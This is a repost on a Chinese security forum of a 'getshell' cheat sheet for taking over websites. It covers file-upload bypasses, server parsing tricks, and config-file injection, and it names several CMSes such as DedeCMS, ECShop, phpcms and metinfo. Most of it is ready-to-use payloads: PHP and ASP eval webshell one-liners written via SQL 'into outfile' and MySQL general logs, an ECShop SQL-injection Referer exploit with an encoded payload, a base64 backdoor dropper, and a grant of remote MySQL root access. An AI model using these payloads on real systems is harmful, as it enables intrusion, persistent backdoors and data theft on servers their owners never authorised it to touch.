安全矩阵

 找回密码
 立即注册
搜索
查看: 2991|回复: 0

getshell学习总结

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-4-4 23:09:16 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-4-7 11:03 编辑

getshell学习总结( 压箱底,建议收藏)
Hacking黑白红  2022-04-04 22:38
文章来源:安全鸭

转载自https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247513057&idx=1&sn=9358ec96d324d2681e084efaec3ded87&chksm=ce641978f913906e344216dc93c6d2244252439c28f4bb69faa64797f15178a24729fa25a83a&mpshare=1&scene=23&srcid=0404yp3MbZXn2JJihECMl4KW&sharer_sharetime=1649084041200&sharer_shareid=ee83a55e0b955b99e8343acbb61916b7#rd
一、方法分类
1.带有漏洞的应用
redis 、tomcat、解析漏洞、编辑器、FTP

2.常规漏洞
sql注入、上传、文件包含、命令执行、Struts2、代码反序列化

3.后台拿shell
上传、数据库备份、配置插马

关于各种带有漏洞的应用以及OWASP Top10常规漏洞需要不断的积累,打造自己的核心知识库,道路且长。本文仅记
录最近对常见cms后台getshell的学习总结

二、网站常见getshell方法
1.数据库备份拿shell
如果网站后台具有数据库备份功能,可以将webshell格式先修改为允许上传的文件格式如jpg,gif等。然后找到上传
后的文件路径,通过数据库备份,将文件备份为脚本格式。

2.上传
上传是拿shell最常见的方式,不区分web前后台,有上传的地方均需尝试上传。常见的上传绕过方法:
  •         本地js验证上传
  •         服务器mime绕过
  •         服务器文件头绕过
  •         服务器 filepath上传
  •         双文件上传
  •         %00截断上传
  •         上传其他脚本类型

3.修改允许上传类型
进入网站后台后找到上传点发现对上传有白名单限制,正好又可以添加白名单,可以将脚本格式写入白名单然后进行上传。如
果容器允许的情况下,尝试上传与网站源码不同类型的脚本格式拿shell


4.服务器解析漏洞
IIS 5.x/6.0解析漏洞
    目录解析:x.asp/1.jpg
     分号解析:x.asp;.jpg会被解析asp格式
     其他文件名:cer,asa,cdx…
IIS 7.0/IIS 7.5/
     畸形文件名解析:test.jpg/*.php
Nginx
     畸形解析漏洞 :test.jpg/*.php(Nginx版本无关,只与配置环境有关)
    <8.03空字节代码执行漏洞 :test.jpg%2500.php
Apache解析漏洞
    Apache解析文件时是按照从右向左的方式,test.php.aaa.sss,Apache无法解析.aaa.sss,向左解析到.php,于是test.php.aaa.sss就被解析为php文件

5.编辑器
低版本的ewebeditor、fckeditor编辑器均有漏洞可以利用。或绕过上传或结合解析漏洞

6. 网站配置插马
在网站后台的一些配置接口中最终的配置结果会写进网站配置文件,这里通过源码的过滤规则进行闭合语句可以直接将shell
写进配置文件从而getshell。注意:网站后台配置插马属于高危操作,如果闭合失败网站将全面崩溃,不建议生产环境下操作。
例:良精后台配置插马
  1. #配置文件路径:../inc/config.asp
  2. #插马语句:"%><%eval request("123")%><%'
复制代码


http://192.168.1.10:8009//inc/config.asp


7.上传插件
将shell添加到安装的插件中上传服务器拿shell。典型如wordpress

8.数据库执行
通过数据库执行命令导出一句话到网站目录拿shell。此方法需要有数据库写入权限,且知道网站目录
sqlserver 导出
SQL server 2005之后就不能导了,因为sp_makewebtask存储过程被取消了
  1. ;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

mysql导出

版本一
  1. Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

版本二
  1. use mysql;create table x(packet text) type=MYISaM;insert into x (packet) values('<pre><body ><?php @system($_GET["cmd"]); ?></body></pre>')select x  into outfile 'd:\php\xx.php'<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

版本三
  1. select '<?php eval($_POST[cmd]);?>' into outfile 'C:/Inetpub/wwwroot/mysql-php/1.php'<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码


9.文件包含
可绕过waf拿webshell。借助文件包含躲避waf拦截。一般用来上大马用
asp 包含代码
  1. <!--#include file="123.jpg"-->#调用的文件必须和被调用文件在同一目录,如果不在同一目录,用下面的语句:<!--#include  virtual="文件所在目录/123.jpg"--><img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

php包含​​​​​​​
  1. <?php
  2. include('123.jpg')
  3. ;?>
复制代码


10. 命令执行​​​​​​​
  1. echo ^<^?php @eval($_POST['cmd']);?^>^ > c:\1.php

  2. ^<^%eval request("cracer")%^>^ > c:\1.php
复制代码

# 需要知道网站路径

三、常见cms后台拿shell1.dedecms
dedecms版本:http://192.168.1.10:8030/data/admin/ver.txt
默认后台:http://192.168.1.10:8030/dede/​​​​​​​
  1. # dedecms后台一般都被修改不好找,可借助google语法:
  2. Powered byDedeCMSV57_GBK_SP2 site:xx.com
复制代码

一、后台文件上传
进入后台:核心》附件管理》文件式管理器》可直接修改源码或者上传shell

写马


连接


如果目标“文件式管理器”接口被阉割,也许只是单纯的在前端删除了入口。可以修改js调用:
​​​​​​​
  1. media_main.php?dopost=filemanager
复制代码

如果权限被限制无法上传到upload以外的目录。通过修改名称跨越目录,绕过权限封锁


二、数据库执行拿shell

sql命令行工具》写shell
  1. #需要得到网站的物理路径select "<?php @eval($_POST[x]);?>" into outfile 'C:\\inetpub\\getshell\\DedecmsV53-UTF8-Final\\DedecmsV53-UTF8-Final\\x.php'#dede暴路径方法
复制代码

payload:http://xxx.com/plus/feedback.php?aid=1&dsql=xxx

写shell


连接

2.南方数据、良精、动易

一、数据库备份(备份图片马、备份数据库)
系统管理》数据库备份页面经常被删除,需要修改js重新调用数据库备份页面​​​​​​​
   manage_backup.asp


1.上传图片马
产品管理》添加产品》上传图片马

2.审查元素,找到图片马路径
如:
3.开始备份


注意点:
1.如果附加了asa无法访问,尝试删除asa访问。解析即可。
2.如果出现文件头为database、jet db。表示实际备份的还是数据库,我们提交的图片马并没有备份到。这里尝试添加管理
员将shell写进数据库。然后再备份即可。这如果长度有限制,可以在审查元素修改maxlength或者抓包
3.如果数据库路径…/Databases/0791idc.mdb框无法修改。尝试审查元素或者burp改包
4.备份目录不用管

二、配置插马
三、修改上传类型突破上传


四、双文件突破上传
五、修改editor/admin_style.asp
3.ecshop1.sql语句写shell
  1. #报错获取网站物理路径use mysql;#写shellselect "<?php phpinfo();?>" into outfile 'C:\\inetpub\\getshell\\8103-ECShop\\ECShop_2.7.4_UTF8_beta1\\upload\\x.php'<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码


2.修改文件
库项目管理》配送方式

连接:http://192.168.1.10:8103/myship.php

3.前台getshell
http://192.168.1.10:8103/user.php》刷新抓包》发送repeater:

  1. <font color="#000000">exp</font>:Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码


会在网站根目录下生成1.php一句话木马,密码1337

3.5wordpress上传插件
安装插件》上传插件》插件马(正常插件+大马压缩包)》上传成功​​​​​​​
  1. <div>#插件马位置:</div><div>./wp-content/plugins/alipay-donate/webshell.php
  2. </div>
复制代码


4.phpmyadmin写shell
phpmyadmin 常见路径:phpmyadmin、pma、pmd、pm、phpmyadmin+版本号。或者端口号搭建888/999/8888/777。可尝试爆破登录:
  1. #写shell语句select '<?php eval($_POST[cmd]);?>' into outfile 'D:\SOFT\webbuild\php\WWW\aa.php'
复制代码

寻找网站根目录

1.找mysql安装目录
  1. select @@basedir;
复制代码


2.根据mysql安装路径推理出apache配置文件(记录了网站根目录)
  1. ./apache/conf/https.conf
复制代码


3.使用某个数据库,创建一个表用来读取apache的配置文件
  1. use mysql;create table xx(xx text);load data infile "D:\SOFT\webbuild\php\Apache/conf/https.conf" into table xx;select * from xx;# 在搜索结果里面检索关键词documentroot找到网站根目录<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

如果有waf会拦截不让导shell
1.找免杀马
2.开启外联
  1. #开外链。将mysql root放在所有地址上并设置密码Grant all privileges on *.* to 'root'@'%' identified by '123.com' with grant option;#公网地址链接目标mysql服务器mysql.exe -h 200.1.1.1 -uroot -p<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

3.通过远程地址链接mysql服务器导入一句话

如果导出函数into outfile 被禁用
1.生成日志getshell
genaeral log设置为on,备份genaeral log file路径后修改为我们要导的shell路径。然后执行带有一句话的sql语句写入日志文件,成功getshell。完成后记得还原genaeral log file路径

备份路径:
  1. genaeral log file:D:\SOFT\webbuild\php\MySQL\data\DESKTOP-CCDQEGR.log
复制代码

执行:
  1. select “<?php phpinfo();?>”
复制代码


写入成功:http://localhost/xxx.php


  1. #命令行操作:set global general_log=on;set global general_log_file='shell路径';#还原set global general_log=off;set global general_log_file='D:\SOFT\webbuild\php\MySQL\data\DESKTOP-CCDQEGR.log';<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

5.kesion cms科迅cms需要使用ie低版本浏览器
一、添加上传类型



这里会回显文件名不合法。但是实际上已经上传成功(新版本失败)
6.aspcms1.插件管理,界面风格修改asp文件
2.扩展功能,数据库备份
3.配置插马

幻灯片设置
  1. #插马路径
  2. ./config/aspcms_config.asp
  3. #语句
  4. %><%Eval(Request(chr(112)))%><%
复制代码



7.SD cms
1.上传设置,添加脚本类型(大小写替换)
2.界面,模板管理,点击sdcms_index.asp,插入一句话到首页

8.phpcms
1.界面,模板风格,详情列表,修改脚本格式文件

2.phpsso(没有这个界面的话调用js),系统设置,ucenter设置,插马
  1. #插马位置
  2. ./phpsso_server/caches/configs/uc_config.php
  3. #先闭合表单
  4. name="data[uc_api','11');/*]
  5. # 再插入代码
  6. */@eval($_REQUEST[TEST]);/
复制代码


连接:


3.内容,专题,添加专题
  1. <?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+'));?>
  2. #在根目录下生成0.php,密码cmd
复制代码

添加专题1

添加专题2

扩展设置,专题模板。value值设置为:
  1. ../../../../html/special/test000/index
复制代码

提交,提交完成后会在根目录生成0.php后门文件


9.metinfo
1.安装插件getshell

2.安全》备份与恢复》数据库备份》下载》打开sql文件》合适的地方输入语句:

  1. select "<?php @eval($_POST[cmd]);>" into oufile 'c:/inetpub/wwwroot/8121/xx.php';<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

《重新压缩》删除之前备份文件》上传修改之后的数据库备份文件》导入:执行sql语句》生成shell

3.<6.0,直接访问:

  1. 192.168.1.10:8095/admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST[cmd]);/*<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

在upload目录下生成index.php的一句话:
连接:
  1. 192.168.1.10/upload/index.php
复制代码


10.discuz
管理后台:admin.php
创始人管理后台:uc_server/admin.php
管理后台:
1.站长,uccenter设置,插马,待复现。参考:
https://paper.seebug.org/1144/#2-ucketdz

11.帝国cms
1.系统》数据表与系统模型》管理数据表》管理系统模型》导入系统模型》上传1.php.mod》会在当前目录下生成一句话co.php:
连接:http://192.168.1.10:8111/e/admin/co.php


2.帝国备份王getshell
12.phpmywind

1.网站信息设置》附件设置,添加允许上传类型getshell
2.网站信息设置》增加新变量

》提交》基本设置:1;@eval($_POST[a])

》提交>连接:http://192.168.1.10:8112/admin/default.php
新版本过滤分号无法连接:慎重插马

13.phpweb1.前台直接上传
https://blog.csdn.net/weixin_44508748/article/details/105671332
2.后台编辑器
产品》修改》

连接:
http://192.168.1.12/phpweb/3151/ ... 281593274850595.php


渗透实战系列
【渗透实战系列】|43-某次通用型漏洞挖掘思路分享
【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战
【渗透实战系列】|41-记一次色*情app渗透测试
【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)
▶【渗透实战系列】|39-BC渗透的常见切入点(总结)
【渗透实战系列】|38-对某色情直播渗透
【渗透实战系列】|37-6年级小学生把学校的网站给搞了!
【渗透实战系列】|36-一次bc推广渗透实战
【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透
【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链
【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP
【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站
【渗透实战系列】|31-记一次对学校的渗透测试
【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)
【渗透实战系列】|29-实战|对某勒索APP的Getshell
【渗透实战系列】|28-我是如何拿下BC站的服务器
【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)
【渗透实战系列】|26一记某cms审计过程(步骤详细)
【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程
【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法
【渗透实战系列】|23-某菠菜网站渗透实战
【渗透实战系列】|22-渗透系列之打击彩票站
【渗透实战系列】|21一次理财杀猪盘渗透测试案例
【渗透实战系列】|20-渗透直播网站
【渗透实战系列】|19-杀猪盘渗透测试
【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)
【渗透实战系列】|17-巧用fofa对目标网站进行getshell
【渗透实战系列】|16-裸聊APP渗透测试
【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点
【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试
【渗透实战系列】|13-waf绕过拿下赌博网站
【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局
【渗透实战系列】|11 - 赌博站人人得而诛之
【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)
【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)
【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)
【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例
【渗透实战系列】|6- BC杀猪盘渗透一条龙
【渗透实战系列】|5-记一次内衣网站渗透测试
【渗透实战系列】|4-看我如何拿下BC站的服务器
【渗透实战系列】|3-一次简单的渗透
【渗透实战系列】|2-记一次后门爆破到提权实战案例
【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:51 , Processed in 0.016291 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表